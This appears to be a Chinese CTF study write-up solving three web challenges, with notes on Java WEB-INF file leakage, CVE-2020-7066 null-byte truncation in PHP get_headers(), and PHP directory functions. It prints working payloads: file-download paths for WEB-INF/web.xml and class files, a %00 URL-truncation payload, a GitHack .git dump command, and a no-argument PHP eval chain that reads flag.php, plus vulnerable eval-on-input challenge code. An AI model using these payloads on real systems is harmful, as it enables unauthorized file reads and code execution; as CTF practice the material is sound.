知识点
-
WEB-INF/web.xml泄露
- WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
- /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件
-
cve-2020-7066
- PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘
get_headers()
’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 - 在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
-
scandir()函数
- 语法:scandir(directory,sorting_order,context);
- 参数:
- 作用:scandir() 函数返回指定目录中的文件和目录的数组。
-
localeconv()函数
- 语法:localeconv()
- 定义和用法:
-
current()函数
-
语法:current(array)
-
参数:array 必需。规定要使用的数组。
定义和用法:
-
PHP array_reverse() 函数
- 语法:array_reverse(array,preserve)
- 参数:
- 作用:
16-1 [RoarCTF 2019]Easy Java
做题思路
尝试一下登陆,看url也没什么特别
然后点开help,发现了
却仍然没有思路
据WP得知,这种url一般是文件包含,可以下载文件下来,先抓包
然后改为 POST 请求试试 // 得到文件,打开为
由WP得到 Java 中WEB应用的安全目录 WEB-INF 分享一个关于源码泄露的网址,并且里面包含WEB-INF文件夹下面的web.xml的泄露
然后构造 payload
?filename=WEB-INF/web.xml
发现
尝试访问一下,
?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
得到 发现一段base64字符,然后解密得到flag
16-2 [GKCTF2020]cve版签到
做题思路
首先看到有个提示,点开之后
发现 cve-2020-7066,百度之后了解这是一个漏洞,具体使用如下
点开链接
并且在F12中 打开包发现了一个提示
然后 又说了仅需要查看 ctfhub.com
于是构造 payload:/?url=http://127.0.0.1%00.ctfhub.com
提示 host必须以123结尾
于是构造 payload:/?url=http://127.0.0.123%00.ctfhub.com
16-3 [GXYCTF2019]禁止套娃
做题思路
没发现什么的东西,好吧,毫无思路找WP
得知是 .git源码泄露
用GitHack拿到index.php
python GitHack.py http://f947babc-b762-4a48-bbe9-8fe7414d39a8.node3.buuoj.cn/.git/
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
然后得知了许多函数
构造payload得到目录
?exp=print_r(scandir(pos(localeconv())));
之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出
payload:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));